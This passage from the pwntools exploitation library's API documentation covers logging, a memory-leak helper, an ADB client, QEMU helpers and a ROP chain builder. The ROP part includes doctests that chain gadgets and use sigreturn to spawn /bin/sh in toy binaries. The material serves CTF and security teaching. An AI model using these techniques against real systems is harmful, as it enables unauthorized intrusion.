Progress logger used to generate log records associated with some running job. Instances can be used as context managers which will automatically declare the running job a success upon exit or a failure upon a thrown exception. After `success()` or `failure()` is called the status can no longer be updated.

This class is intended for internal use. Progress loggers should be created using `Logger.progress()`.

status (*status, *args, **kwargs*)

Logs a status update for the running job.

If the progress logger is animated the status line will be updated in place.

Status updates are throttled at one update per 100ms.

success (*status = 'Done', *args, **kwargs*)

Logs that the running job succeeded. No further status updates are allowed.

If the Logger is animated, the animation is stopped.

failure (*message*)

Logs that the running job failed. No further status updates are allowed.

If the Logger is animated, the animation is stopped.

class `pwnlib.log.Logger` (*logger=None*)

A class akin to the `logging.LoggerAdapter` class. All public methods defined on `logging.Logger` instances are defined on this class.

Also adds some `pwnlib` flavor:

- `progress()` (alias `waitfor()`)
- `success()`
- `failure()`
- `indented()`
- `info_once()`
- `warning_once()` (alias `warn_once()`)

Adds `pwnlib`-specific information for coloring, indentation and progress logging via log records `extra` field.

Loggers instantiated with `getLogger()` will be of this class.

progress (*message, status = "*, **args, level = logging.INFO, **kwargs*) → `Progress`

Creates a new progress logger which creates log records with log level *level*.

Progress status can be updated using `Progress.status()` and stopped using `Progress.success()` or `Progress.failure()`.

If `term.term_mode` is enabled the progress logger will be animated.

The progress manager also functions as a context manager. Using context managers ensures that animations stop even if an exception is raised.

```
with log.progress('Trying something...') as p:
    for i in range(10):
        p.status("At %i" % i)
        time.sleep(0.5)
    x = 1/0
```

waitfor (**args*, ***kwargs*)
Alias for `progress()`.

indented (*message*, **args*, *level = logging.INFO*, ***kwargs*)
Log a message but don't put a line prefix on it.

Parameters level (*int*) – Alternate log level at which to set the indented message. Defaults to `logging.INFO`.

success (*message*, **args*, ***kwargs*)
Logs a success message.

failure (*message*, **args*, ***kwargs*)
Logs a failure message.

info_once (*message*, **args*, ***kwargs*)
Logs an info message. The same message is never printed again.

warning_once (*message*, **args*, ***kwargs*)
Logs a warning message. The same message is never printed again.

warn_once (**args*, ***kwargs*)
Alias for `warning_once()`.

debug (*message*, **args*, ***kwargs*)
Logs a debug message.

info (*message*, **args*, ***kwargs*)
Logs an info message.

warning (*message*, **args*, ***kwargs*)
Logs a warning message.

warn (**args*, ***kwargs*)
Alias for `warning()`.

error (*message*, **args*, ***kwargs*)
To be called outside an exception handler.
Logs an error message, then raises a `PwnlibException`.

exception (*message*, **args*, ***kwargs*)
To be called from an exception handler.
Logs a error message, then re-raises the current exception.

critical (*message*, **args*, ***kwargs*)
Logs a critical message.

log (*level*, *message*, **args*, ***kwargs*)
Logs a message with log level *level*. The `pwnlib` formatter will use the default `logging` formater to format this message.

isEnabledFor (*level*) → bool
See if the underlying logger is enabled for the specified level.

setLevel (*level*)

Set the logging level for the underlying logger.

addHandler (*handler*)

Add the specified handler to the underlying logger.

removeHandler (*handler*)

Remove the specified handler from the underlying logger.

class `pwnlib.log.Handler` (*stream=None*)

A custom handler class. This class will report whatever `context.log_level` is currently set to as its log level.

If `term.term_mode` is enabled log records originating from a progress logger will not be emitted but rather an animated progress line will be created.

An instance of this handler is added to the 'pwnlib' logger.

Initialize the handler.

If stream is not specified, `sys.stderr` is used.

emit (*record*)

Emit a log record or create/update an animated progress logger depending on whether `term.term_mode` is enabled.

class `pwnlib.log.Formatter` (*fmt=None, datefmt=None*)

Logging formatter which performs custom formatting for log records containing the 'pwnlib_msgtype' attribute. Other records are formatted using the *logging* modules default formatter.

If 'pwnlib_msgtype' is set, it performs the following actions:

- A prefix looked up in `_msgtype_prefixes` is prepended to the message.
- The message is prefixed such that it starts on column four.
- If the message spans multiple lines they are split, and all subsequent lines are indented.

This formatter is used by the handler installed on the 'pwnlib' logger.

Initialize the formatter with specified format strings.

Initialize the formatter either with the specified format string, or a default as described above. Allow for specialized date formatting with the optional `datefmt` argument (if omitted, you get the ISO8601 format).

format (*record*)

Format the specified record as text.

The record's attribute dictionary is used as the operand to a string formatting operation which yields the returned string. Before formatting the dictionary, a couple of preparatory steps are carried out. The message attribute of the record is computed using `LogRecord.getMessage()`. If the formatting string uses the time (as determined by a call to `usesTime()`), `formatTime()` is called to format the event time. If there is exception information, it is formatted using `formatException()` and appended to the message.

2.18 pwnlib.memleak — Helper class for leaking memory

class `pwnlib.memleak.MemLeak` (*f, search_range=20, reraise=True, relative=False*)

`MemLeak` is a caching and heuristic tool for exploiting memory leaks.

It can be used as a decorator, around functions of the form:

```
def some_leaker(addr): ... return data_as_string_or_None
```

It will cache leaked memory (which requires either non-randomized static data or a continuous session). If required, dynamic or known data can be set with the set-functions, but this is usually not required. If a byte cannot be recovered, it will try to leak nearby bytes in the hope that the byte is recovered as a side-effect.

Parameters

- **f** (*function*) – The leaker function.
- **search_range** (*int*) – How many bytes to search backwards in case an address does not work.
- **reraise** (*bool*) – Whether to reraise call `pwnlib.log.warning()` in case the leaker function throws an exception.

Example

```
>>> import pwnlib
>>> binsh = pwnlib.util.misc.read('/bin/sh')
>>> @pwnlib.memleak.MemLeak
... def leaker(addr):
...     print "leaking 0x%x" % addr
...     return binsh[addr:addr+4]
>>> leaker.s(0)[:4]
leaking 0x0
leaking 0x4
'\x7fELF'
>>> leaker[:4]
'\x7fELF'
>>> hex(leaker.d(0))
'0x464c457f'
>>> hex(leaker.clearb(1))
'0x45'
>>> hex(leaker.d(0))
leaking 0x1
'0x464c457f'
>>> @pwnlib.memleak.MemLeak
... def leaker_nonulls(addr):
...     print "leaking 0x%x" % addr
...     if addr & 0xff == 0:
...         return None
...     return binsh[addr:addr+4]
>>> leaker_nonulls.d(0) == None
leaking 0x0
True
>>> leaker_nonulls[0x100:0x104] == binsh[0x100:0x104]
leaking 0x100
leaking 0xff
leaking 0x103
True
```

```
>>> memory = {-4+i: c for i,c in enumerate('wxyzABCDE')}
>>> def relative_leak(index):
...     return memory.get(index, None)
>>> leak = pwnlib.memleak.MemLeak(relative_leak, relative = True)
>>> leak[-1:2]
'zAB'
```

static NoNewlines (*function*)

Wrapper for leak functions such that addresses which contain newline bytes are not leaked.

This is useful if the address which is used for the leak is provided by e.g. `fgets()`.

static NoNulls (*function*)

Wrapper for leak functions such that addresses which contain NULL bytes are not leaked.

This is useful if the address which is used for the leak is read in via a string-reading function like `scanf("%s")` or similar.

static NoWhitespace (*function*)

Wrapper for leak functions such that addresses which contain whitespace bytes are not leaked.

This is useful if the address which is used for the leak is read in via e.g. `scanf()`.

static String (*function*)

Wrapper for leak functions which leak strings, such that a NULL terminator is automaticall added.

This is useful if the data leaked is printed out as a NULL-terminated string, via e.g. `printf()`.

b (*addr*, *ndx = 0*) → int

Leak byte at `((uint8_t*) addr)[ndx]`

Examples

```
>>> import string
>>> data = string.ascii_lowercase
>>> l = MemLeak(lambda a: data[a:a+2], reraise=False)
>>> l.b(0) == ord('a')
True
>>> l.b(25) == ord('z')
True
>>> l.b(26) is None
True
```

clearb (*addr*, *ndx = 0*) → int

Clears byte at `((uint8_t*) addr)[ndx]` from the cache and returns the removed value or *None* if the address was not completely set.

Examples

```
>>> l = MemLeak(lambda a: None)
>>> l.cache = {0:'a'}
>>> l.n(0,1) == 'a'
True
>>> l.clearb(0) == unpack('a', 8)
True
>>> l.cache
{}
>>> l.clearb(0) is None
True
```

cleard (*addr*, *ndx = 0*) → int

Clears dword at `((uint32_t*) addr)[ndx]` from the cache and returns the removed value or *None* if the address was not completely set.

Examples

```
>>> l = MemLeak(lambda a: None)
>>> l.cache = {0: 'a', 1: 'b', 2: 'c', 3: 'd'}
>>> l.n(0, 4) == 'abcd'
True
>>> l.cleard(0) == unpack('abcd', 32)
True
>>> l.cache
{}
```

clearq (*addr*, *ndx = 0*) → int

Clears qword at ((uint64_t*) *addr*) [*ndx*] from the cache and returns the removed value or *None* if the address was not completely set.

Examples

```
>>> c = MemLeak(lambda addr: '')
>>> c.cache = {x: 'x' for x in range(0x100, 0x108)}
>>> c.clearq(0x100) == unpack('xxxxxxxx', 64)
True
>>> c.cache == {}
True
```

clearw (*addr*, *ndx = 0*) → int

Clears word at ((uint16_t*) *addr*) [*ndx*] from the cache and returns the removed value or *None* if the address was not completely set.

Examples

```
>>> l = MemLeak(lambda a: None)
>>> l.cache = {0: 'a', 1: 'b'}
>>> l.n(0, 2) == 'ab'
True
>>> l.clearw(0) == unpack('ab', 16)
True
>>> l.cache
{}
```

d (*addr*, *ndx = 0*) → int

Leak dword at ((uint32_t*) *addr*) [*ndx*]

Examples

```
>>> import string
>>> data = string.ascii_lowercase
>>> l = MemLeak(lambda a: data[a:a+8], reraise=False)
>>> l.d(0) == unpack('abcd', 32)
True
>>> l.d(22) == unpack('wxyz', 32)
True
```

(continues on next page)

(continued from previous page)

```
>>> l.d(23) is None
True
```

field (*address, obj*)field(*address*, *field*) => a structure field.

Leak a field from a structure.

Parameters

- **address** (*int*) – Base address to calculate offsets from
- **field** (*obj*) – Instance of a ctypes field

Return Value: The type of the return value will be dictated by the type of *field*.**field_compare** (*address, obj, expected*)field_compare(*address*, *field*, *expected*) ==> bool

Leak a field from a structure, with an expected value. As soon as any mismatch is found, stop leaking the structure.

Parameters

- **address** (*int*) – Base address to calculate offsets from
- **field** (*obj*) – Instance of a ctypes field
- **expected** (*int, str*) – Expected value

Return Value: The type of the return value will be dictated by the type of *field*.**n** (*addr, ndx = 0*) → strLeak *numb* bytes at *addr*.**Returns** A string with the leaked bytes, will return *None* if any are missing**Examples**

```
>>> import string
>>> data = string.ascii_lowercase
>>> l = MemLeak(lambda a: data[a:a+4], reraise=False)
>>> l.n(0,1) == 'a'
True
>>> l.n(0,26) == data
True
>>> len(l.n(0,26)) == 26
True
>>> l.n(0,27) is None
True
```

p (*addr, ndx = 0*) → intLeak a pointer-width value at ((void**) *addr*) [*ndx*]**p16** (*addr, val, ndx=0*)Sets word at ((uint16_t*) *addr*) [*ndx*] to *val* in the cache.

Examples

```
>>> l = MemLeak(lambda x: '')
>>> l.cache == {}
True
>>> l.setw(33, 0x41)
>>> l.cache == {33: 'A', 34: '\x00'}
True
```

p32 (*addr, val, ndx=0*)

Sets dword at ((uint32_t*) addr) [ndx] to *val* in the cache.

Examples

See `setw()`.

p64 (*addr, val, ndx=0*)

Sets qword at ((uint64_t*) addr) [ndx] to *val* in the cache.

Examples

See `setw()`.

p8 (*addr, val, ndx=0*)

Sets byte at ((uint8_t*) addr) [ndx] to *val* in the cache.

Examples

```
>>> l = MemLeak(lambda x: '')
>>> l.cache == {}
True
>>> l.setb(33, 0x41)
>>> l.cache == {33: 'A'}
True
```

q (*addr, ndx = 0*) → int

Leak qword at ((uint64_t*) addr) [ndx]

Examples

```
>>> import string
>>> data = string.ascii_lowercase
>>> l = MemLeak(lambda a: data[a:a+16], reraise=False)
>>> l.q(0) == unpack('abcdefgh', 64)
True
>>> l.q(18) == unpack('stuvwxyz', 64)
True
>>> l.q(19) is None
True
```

raw (*addr, numb*) → list

Leak *numb* bytes at *addr*

s (*addr*) → str

Leak bytes at *addr* until failure or a nullbyte is found

Returns A string, without a NULL terminator. The returned string will be empty if the first byte is a NULL terminator, or if the first byte could not be retrieved.

Examples

```
>>> data = "Hello\x00World"
>>> l = MemLeak(lambda a: data[a:a+4], reraise=False)
>>> l.s(0) == "Hello"
True
>>> l.s(5) == ""
True
>>> l.s(6) == "World"
True
>>> l.s(999) == ""
True
```

setb (*addr, val, ndx=0*)

Sets byte at ((uint8_t*) *addr*) [*ndx*] to *val* in the cache.

Examples

```
>>> l = MemLeak(lambda x: '')
>>> l.cache == {}
True
>>> l.setb(33, 0x41)
>>> l.cache == {33: 'A'}
True
```

setd (*addr, val, ndx=0*)

Sets dword at ((uint32_t*) *addr*) [*ndx*] to *val* in the cache.

Examples

See `setw()`.

setq (*addr, val, ndx=0*)

Sets qword at ((uint64_t*) *addr*) [*ndx*] to *val* in the cache.

Examples

See `setw()`.

sets (*addr, val, null_terminate=True*)

Set known string at *addr*, which will be optionally be null-terminated

Note that this method is a bit dumb about how it handles the data. It will null-terminate the data, but it will not stop at the first null.

Examples

```
>>> l = MemLeak(lambda x: '')
>>> l.cache == {}
True
>>> l.sets(0, 'H\x00ello')
>>> l.cache == {0: 'H', 1: '\x00', 2: 'e', 3: 'l', 4: 'l', 5: 'o', 6: '\x00'}
True
```

setw (*addr, val, ndx=0*)

Sets word at ((uint16_t*) addr) [ndx] to *val* in the cache.

Examples

```
>>> l = MemLeak(lambda x: '')
>>> l.cache == {}
True
>>> l.setw(33, 0x41)
>>> l.cache == {33: 'A', 34: '\x00'}
True
```

struct (*address, struct*)

struct(address, struct) => structure object Leak an entire structure. :param address: Address of structure in memory :type address: int :param struct: A ctypes structure to be instantiated with leaked data :type struct: class

Return Value: An instance of the provided struct class, with the leaked data decoded

Examples

```
>>> @pwnlib.memleak.MemLeak
... def leaker(addr):
...     return "A"
>>> e = leaker.struct(0, pwnlib.elf.Elf32_Phdr)
>>> hex(e.p_paddr)
'0x41414141'
```

u16 (*addr, ndx=0*)

w(addr, ndx = 0) -> int

Leak word at ((uint16_t*) addr) [ndx]

Examples

```
>>> import string
>>> data = string.ascii_lowercase
>>> l = MemLeak(lambda a: data[a:a+4], reraise=False)
>>> l.w(0) == unpack('ab', 16)
True
>>> l.w(24) == unpack('yz', 16)
True
```

(continues on next page)

(continued from previous page)

```
>>> l.w(25) is None
True
```

u32 (*addr, ndx=0*)d(*addr, ndx = 0*) -> intLeak dword at ((uint32_t*) *addr*) [*ndx*]**Examples**

```
>>> import string
>>> data = string.ascii_lowercase
>>> l = MemLeak(lambda a: data[a:a+8], reraise=False)
>>> l.d(0) == unpack('abcd', 32)
True
>>> l.d(22) == unpack('wxyz', 32)
True
>>> l.d(23) is None
True
```

u64 (*addr, ndx=0*)q(*addr, ndx = 0*) -> intLeak qword at ((uint64_t*) *addr*) [*ndx*]**Examples**

```
>>> import string
>>> data = string.ascii_lowercase
>>> l = MemLeak(lambda a: data[a:a+16], reraise=False)
>>> l.q(0) == unpack('abcdefgh', 64)
True
>>> l.q(18) == unpack('stuvwxyz', 64)
True
>>> l.q(19) is None
True
```

u8 (*addr, ndx=0*)b(*addr, ndx = 0*) -> intLeak byte at ((uint8_t*) *addr*) [*ndx*]**Examples**

```
>>> import string
>>> data = string.ascii_lowercase
>>> l = MemLeak(lambda a: data[a:a+2], reraise=False)
>>> l.b(0) == ord('a')
True
>>> l.b(25) == ord('z')
True
```

(continues on next page)

(continued from previous page)

```
>>> l.b(26) is None
True
```

w (*addr*, *ndx = 0*) → int
Leak word at ((uint16_t*) *addr*)[*ndx*]

Examples

```
>>> import string
>>> data = string.ascii_lowercase
>>> l = MemLeak(lambda a: data[a:a+4], reraise=False)
>>> l.w(0) == unpack('ab', 16)
True
>>> l.w(24) == unpack('yz', 16)
True
>>> l.w(25) is None
True
```

```
class pwnlib.memleak.RelativeMemLeak(*a, **kw)
```

2.19 pwnlib.protocols — Wire Protocols

2.19.1 Supported Protocols

pwnlib.protocols.adb — ADB Protocol Implementation

Implementation of the Android Debug Bridge (ADB) protocol.

Documentation is available [here](#).

```
class pwnlib.protocols.adb.AdbClient(level=None)
ADB Client
```

```
devices(*a, **kw)
```

Parameters **long** (*bool*) – If True, fetch the long-format listing.

Returns String representation of all available devices.

```
execute(*a, **kw)
```

Executes a program on the device.

Returns A *pwnlib.tubes.tube.tube* which is connected to the process.

Examples

```
>>> pwnlib.protocols.adb.AdbClient().execute(['echo', 'hello']).recvall()
'hello\n'
```

```
kill(*a, **kw)
```

Kills the remote ADB server”

```
>>> c=pwnlib.protocols.adb.AdbClient()
>>> c.kill()
```

The server is automatically re-started on the next request, if the default host/port are used.

```
>>> c.version() > (4,0)
True
```

list (*path*)

Execute the LIST command of the SYNC API.

Parameters **path** (*str*) – Path of the directory to list.

Returns A dictionary, where the keys are relative filenames, and the values are a dictionary containing the same values as `stat()` supplies.

Note: In recent releases of Android (e.g. 7.0), the domain that `adb` executes from does not have access to everything that the shell user does.

Because of this, while the shell user can get listings of e.g. the root directory (`/`), `adb` cannot.

The SYNC APIs are executed within the `adb` context, not the shell user context.

This issue is not a problem if the phone is rooted via `'adb root'`, since `adb` then runs in the `su` domain.

Examples

```
>>> pprint(AdbClient().list('/data/user'))
{'0': {'mode': 41471, 'size': 11, 'time': ...}}
>>> AdbClient().list('/does/not/exist')
Traceback (most recent call last):
...
PwnlibException: Cannot list directory '/does/not/exist': Does not exist
```

read (**a, **kw*)

Execute the READ command of the SYNC API.

Parameters

- **path** (*str*) – Path to the file to read
- **filesize** (*int*) – Size of the file, in bytes. Optional.
- **callback** (*callable*) – Callback function invoked as data becomes available. Arguments provided are:
 - File path
 - All data
 - Expected size of all data
 - Current chunk
 - Expected size of chunk

Returns The data received as a string.

recv1 ()

Receives a length-prefixed data buffer from the ADB server

send (*a, **kw)

Sends data to the ADB server

stat (*a, **kw)

Execute the STAT command of the SYNC API.

Parameters **path** (*str*) – Path to the file to stat.

Returns On success, a dictionary mapping the values returned. If the file cannot be “stat()’ed, None is returned.

Example

```
>>> expected = {'mode': 16749, 'size': 0, 'time': 0}
>>> pwnlib.protocols.adb.AdbClient().stat('/proc') == expected
True
>>> pwnlib.protocols.adb.AdbClient().stat('/does/not/exist') == None
True
```

track_devices (*a, **kw)

Returns Generator which returns a short-format listing of available devices each time a device state changes.

transport (*serial=None*)

Sets the Transport on the rmeote device.

Examples

```
>>> pwnlib.protocols.adb.AdbClient().transport()
```

unpack (*a, **kw)

Receives a hex-ascii packed integer from the ADB server

version (*a, **kw)

Returns Tuple containing the (major, minor) version from the ADB server

Example

```
>>> pwnlib.protocols.adb.AdbClient().version()
(4, 36)
```

write (*path, data, mode=493, timestamp=None, callback=None*)

Execute the WRITE command of the SYNC API.

Parameters

- **path** (*str*) – Path to the file to write
- **data** (*str*) – Data to write to the file
- **mode** (*int*) – File mode to set (e.g. 0o755)
- **timestamp** (*int*) – Unix timestamp to set the file date to

- **callback** (*callable*) – Callback function invoked as data is written. Arguments provided are:
 - File path
 - All data
 - Expected size of all data
 - Current chunk
 - Expected size of chunk

c

AdbClient’s connection to the ADB server

class `pwnlib.protocols.adb.Connection` (*host, port, level=None, *a, **kw*)

Connection to the ADB server

close ()

Closes the tube.

class `pwnlib.protocols.adb.Message` (*string*)

An ADB hex-length-prefixed message

class `pwnlib.protocols.adb.Process` (*host, port, level=None, *a, **kw*)

Duck-typed `tubes.remote` object to add properties of a `tubes.process`

`pwnlib.protocols.adb.proxy` (*port=9999*)

Starts an ADB proxy on the specified port, for debugging purposes.

2.20 pwnlib.gemu — QEMU Utilities

Run foreign-architecture binaries

2.20.1 Overview

So you want to exploit ARM binaries on your Intel PC?

Pwntools has a good level of integration with QEMU user-mode emulation, in order to run, debug, and pwn foreign architecture binaries.

In general, everything magic happens “behind the scenes”, and pwntools attempts to make your life easier.

When using `process.process`, pwntools will attempt to blindly execute the binary, in case your system is configured to use `binfmt-misc`.

If this fails, pwntools will attempt to manually launch the binary under `qemu` user-mode emulation. Preference is given to statically-linked variants, i.e. `qemu-arm-static` will be selected before `qemu-arm`.

Debugging

When debugging binaries with `gdb.debug()`, pwntools automatically adds the appropriate command-line flags to QEMU to start its GDB stub, and automatically informs GDB of the correct architecture and sysroot.

Sysroot

You can override the default sysroot by setting the `QEMU_LD_PREFIX` environment variable. This affects where `qemu` will look for files when `open()` is called, e.g. when the linker is attempting to resolve `libc.so`.

2.20.2 Required Setup

For Ubuntu 16.04 and newer, the setup is relatively straightforward for most architectures.

First, install the QEMU emulator itself. If your binary is statically-linked, this is sufficient.

```
$ sudo apt-get install qemu-user
```

If your binary is dynamically linked, you need to install libraries like `libc`. Generally, this package is named `libc6- $\$ARCH$ -cross`, e.g. `libc-mips-cross`. ARM comes in both soft-float and hard-float variants, e.g. `armhf`.

```
$ sudo apt-get install libc6-arm64-cross
```

If your binary relies on additional libraries, you can generally find them easily with `apt-cache search`. For example, if it's a C++ binary it may require `libstdc++`.

```
$ apt-cache search 'libstdc++' | grep arm64
```

Any other libraries that you require you'll have to find some other way.

Telling QEMU Where Libraries Are

The libraries are now installed on your system at e.g. `/usr/aarch64-linux-gnu`.

QEMU does not know where they are, and expects them to be at e.g. `/etc/qemu-binfmt/aarch64`. If you try to run your library now, you'll probably see an error about `libc.so.6` missing.

Create the `/etc/qemu-binfmt` directory if it does not exist, and create a symlink to the appropriate path.

```
$ sudo mkdir /etc/qemu-binfmt $ sudo ln -s /usr/aarch64-linux-gnu /etc/qemu-binfmt/aarch64
```

Now QEMU should be able to run the libraries.

`pwnlib.qemu.archname(*a, **kw)`

Returns the name which QEMU uses for the currently selected architecture.

```
>>> pwnlib.qemu.archname()
'i386'
>>> pwnlib.qemu.archname(arch='powerpc')
'ppc'
```

`pwnlib.qemu.ld_prefix(*a, **kw)`

Returns the linker prefix for the selected qemu-user binary

```
>>> pwnlib.qemu.ld_prefix(arch='arm')
'/etc/qemu-binfmt/arm'
```

`pwnlib.qemu.user_path(*a, **kw)`

Returns the path to the QEMU-user binary for the currently selected architecture.

```
>>> pwnlib.gemu.user_path()
'qemu-i386-static'
>>> pwnlib.gemu.user_path(arch='thumb')
'qemu-arm-static'
```

2.21 pwnlib.replacements — Replacements for various functions

Improved replacements for standard functions

`pwnlib.replacements.sleep(n)`

Replacement for `time.sleep()`, which does not return if a signal is received.

Parameters `n` (*int*) – Number of seconds to sleep.

2.22 pwnlib.rop — Return Oriented Programming

2.22.1 Submodules

`pwnlib.rop.rop` — Return Oriented Programming

Return Oriented Programming

Manual ROP

The ROP tool can be used to build stacks pretty trivially. Let's create a fake binary which has some symbols which might have been useful.

```
>>> context.clear(arch='i386')
>>> binary = ELF.from_assembly('add esp, 0x10; ret')
>>> binary.symbols = {'read': 0xdeadbeef, 'write': 0xdecafbad, 'exit': 0xfeedface}
```

Creating a ROP object which looks up symbols in the binary is pretty straightforward.

```
>>> rop = ROP(binary)
```

With the ROP object, you can manually add stack frames.

```
>>> rop.raw(0)
>>> rop.raw(unpack('abcd'))
>>> rop.raw(2)
```

Inspecting the ROP stack is easy, and laid out in an easy-to-read manner.

```
>>> print rop.dump()
0x0000:          0x0
0x0004:      0x64636261
0x0008:          0x2
```

The ROP module is also aware of how to make function calls with standard Linux ABIs.

```
>>> rop.call('read', [4,5,6])
>>> print rop.dump()
0x0000:          0x0
0x0004:      0x64636261
0x0008:          0x2
0x000c:      0xdeadbeef read(4, 5, 6)
0x0010:          'eaaa' <return address>
0x0014:          0x4 arg0
0x0018:          0x5 arg1
0x001c:          0x6 arg2
```

You can also use a shorthand to invoke calls. The stack is automatically adjusted for the next frame

```
>>> rop.write(7,8,9)
>>> rop.exit()
>>> print rop.dump()
0x0000:          0x0
0x0004:      0x64636261
0x0008:          0x2
0x000c:      0xdeadbeef read(4, 5, 6)
0x0010:      0x10000000 <adjust @0x24> add esp, 0x10; ret
0x0014:          0x4 arg0
0x0018:          0x5 arg1
0x001c:          0x6 arg2
0x0020:          'iaaa' <pad>
0x0024:      0xdecafbad write(7, 8, 9)
0x0028:      0x10000000 <adjust @0x3c> add esp, 0x10; ret
0x002c:          0x7 arg0
0x0030:          0x8 arg1
0x0034:          0x9 arg2
0x0038:          'oaaa' <pad>
0x003c:      0xfeedface exit()
```

ROP Example

Let's assume we have a trivial binary that just reads some data onto the stack, and returns.

```
>>> context.clear(arch='i386')
>>> c = constants
>>> assembly = 'read:' + shellcraft.read(c.STDIN_FILENO, 'esp', 1024)
>>> assembly += 'ret\n'
```

Let's provide some simple gadgets:

```
>>> assembly += 'add_esp: add esp, 0x10; ret\n'
```

And perhaps a nice “write” function.

```
>>> assembly += 'write: enter 0,0\n'
>>> assembly += '    mov ebx, [ebp+4+4]\n'
>>> assembly += '    mov ecx, [ebp+4+8]\n'
>>> assembly += '    mov edx, [ebp+4+12]\n'
>>> assembly += shellcraft.write('ebx', 'ecx', 'edx')
>>> assembly += '    leave\n'
>>> assembly += '    ret\n'
>>> assembly += 'flag: .asciz "The flag"\n'
```


And a way to exit cleanly.

```
>>> assembly += 'exit: ' + shellcraft.exit(0)
>>> binary = ELF.from_assembly(assembly)
```

Finally, let's build our ROP stack

```
>>> rop = ROP(binary)
>>> rop.write(c.STDOUT_FILENO, binary.symbols['flag'], 8)
>>> rop.exit()
>>> print rop.dump()
0x0000:      0x10000012 write(STDOUT_FILENO, 0x10000026, 8)
0x0004:      0x1000000e <adjust @0x18> add esp, 0x10; ret
0x0008:              0x1 arg0
0x000c:      0x10000026 flag
0x0010:              0x8 arg2
0x0014:              'faaa' <pad>
0x0018:      0x1000002f exit()
```

The raw data from the ROP stack is available via *str*.

```
>>> raw_rop = str(rop)
>>> print enhex(raw_rop)
120000100e000010010000002600001008000000666161612f000010
```

Let's try it out!

```
>>> p = process(binary.path)
>>> p.send(raw_rop)
>>> print p.recvall(timeout=5)
The flag
```

ROP Example (amd64)

For amd64 binaries, the registers are loaded off the stack. Pwntools can do basic reasoning about simple “pop; pop; add; ret”-style gadgets, and satisfy requirements so that everything “just works”.

```
>>> context.clear(arch='amd64')
>>> assembly = 'pop rdx; pop rdi; pop rsi; add rsp, 0x20; ret; target: ret'
>>> binary = ELF.from_assembly(assembly)
>>> rop = ROP(binary)
>>> rop.target(1,2,3)
>>> print rop.dump()
0x0000:      0x10000000 pop rdx; pop rdi; pop rsi; add rsp, 0x20; ret
0x0008:              0x3 [arg2] rdx = 3
0x0010:              0x1 [arg0] rdi = 1
0x0018:              0x2 [arg1] rsi = 2
0x0020:      'iaaaajaaa' <pad 0x20>
0x0028:      'kaaalaaa' <pad 0x18>
0x0030:      'maaaaaaa' <pad 0x10>
0x0038:      'aaaapaaa' <pad 0x8>
0x0040:      0x10000008 target
>>> rop.target(1)
>>> print rop.dump()
0x0000:      0x10000000 pop rdx; pop rdi; pop rsi; add rsp, 0x20; ret
0x0008:              0x3 [arg2] rdx = 3
```

(continues on next page)

(continued from previous page)

```

0x0010:          0x1 [arg0] rdi = 1
0x0018:          0x2 [arg1] rsi = 2
0x0020:          'iaaaajaaa' <pad 0x20>
0x0028:          'kaaalaaa' <pad 0x18>
0x0030:          'maanaaaa' <pad 0x10>
0x0038:          'aaaapaaa' <pad 0x8>
0x0040:          0x10000008 target
0x0048:          0x10000001 pop rdi; pop rsi; add rsp, 0x20; ret
0x0050:          0x1 [arg0] rdi = 1
0x0058:          'waaaxaaa' <pad rsi>
0x0060:          'yaaazaab' <pad 0x20>
0x0068:          'baabcaab' <pad 0x18>
0x0070:          'daabeaab' <pad 0x10>
0x0078:          'faabgaab' <pad 0x8>
0x0080:          0x10000008 target

```

Pwntools will also filter out some bad instructions while setting the registers (e.g. syscall, int 0x80...)

```

>>> assembly = 'syscall; pop rdx; pop rsi; ret ; pop rdi ; int 0x80; pop rsi; pop rdx;
↳ ret ; pop rdi ; ret'
>>> binary = ELF.from_assembly(assembly)
>>> rop = ROP(binary)
>>> rop.call(0xdeadbeef, [1, 2, 3])
>>> print rop.dump()
0x0000:          0x1000000b pop rdi; ret
0x0008:          0x1 [arg0] rdi = 1
0x0010:          0x10000008 pop rsi; pop rdx; ret
0x0018:          0x2 [arg1] rsi = 2
0x0020:          0x3 [arg2] rdx = 3
0x0028:          0xdeadbeef

```

ROP + Sigreturn

In some cases, control of the desired register is not available. However, if you have control of the stack, EAX, and can find a *int 0x80* gadget, you can use sigreturn.

Even better, this happens automatically.

Our example binary will read some data onto the stack, and not do anything else interesting.

```

>>> context.clear(arch='i386')
>>> c = constants
>>> assembly = 'read:' + shellcraft.read(c.STDIN_FILENO, 'esp', 1024)
>>> assembly += 'ret\n'
>>> assembly += 'pop eax; ret\n'
>>> assembly += 'int 0x80\n'
>>> assembly += 'binsh: .asciz "/bin/sh"'
>>> binary = ELF.from_assembly(assembly)

```

Let's create a ROP object and invoke the call.

```

>>> context.kernel = 'amd64'
>>> rop = ROP(binary)
>>> binsh = binary.symbols['binsh']
>>> rop.execve(binsh, 0, 0)

```

That's all there is to it.

```
>>> print rop.dump()
0x0000:      0x1000000e pop eax; ret
0x0004:          0x77 [arg0] eax = SYS_sigreturn
0x0008:      0x1000000b int 0x80
0x000c:          0x0 gs
0x0010:          0x0 fs
0x0014:          0x0 es
0x0018:          0x0 ds
0x001c:          0x0 edi
0x0020:          0x0 esi
0x0024:          0x0 ebp
0x0028:          0x0 esp
0x002c:      0x10000012 ebx = binsh
0x0030:          0x0 edx
0x0034:          0x0 ecx
0x0038:          0xb eax
0x003c:          0x0 trapno
0x0040:          0x0 err
0x0044:      0x1000000b int 0x80
0x0048:          0x23 cs
0x004c:          0x0 eflags
0x0050:          0x0 esp_at_signal
0x0054:          0x2b ss
0x0058:          0x0 fpstate
```

Let's try it out!

```
>>> p = process(binary.path)
>>> p.send(str(rop))
>>> time.sleep(1)
>>> p.sendline('echo hello; exit')
>>> p.recvline()
'hello\n'
```

class pwnlib.rop.rop.ROP (elfs, base=None, badchars="", **kwargs)

Class which simplifies the generation of ROP-chains.

Example:

```
elf = ELF('ropasaurusrex')
rop = ROP(elf)
rop.read(0, elf.bss(0x80))
rop.dump()
# ['0x0000:      0x80482fc (read)',
# '0x0004:      0xdeadbeef',
# '0x0008:          0x0',
# '0x000c:      0x80496a8']
str(rop)
# '\xfc\x82\x04\x08\xef\xbe\xad\xde\x00\x00\x00\x00\xa8\x96\x04\x08'
```

```
>>> context.clear(arch = "i386", kernel = 'amd64')
>>> assembly = 'int 0x80; ret; add esp, 0x10; ret; pop eax; ret'
>>> e = ELF.from_assembly(assembly)
>>> e.symbols['funcname'] = e.address + 0x1234
>>> r = ROP(e)
>>> r.funcname(1, 2)
```

(continues on next page)

(continued from previous page)

```

>>> r.funcname(3)
>>> r.execve(4, 5, 6)
>>> print r.dump()
0x0000:      0x10001234 funcname(1, 2)
0x0004:      0x10000003 <adjust @0x18> add esp, 0x10; ret
0x0008:              0x1 arg0
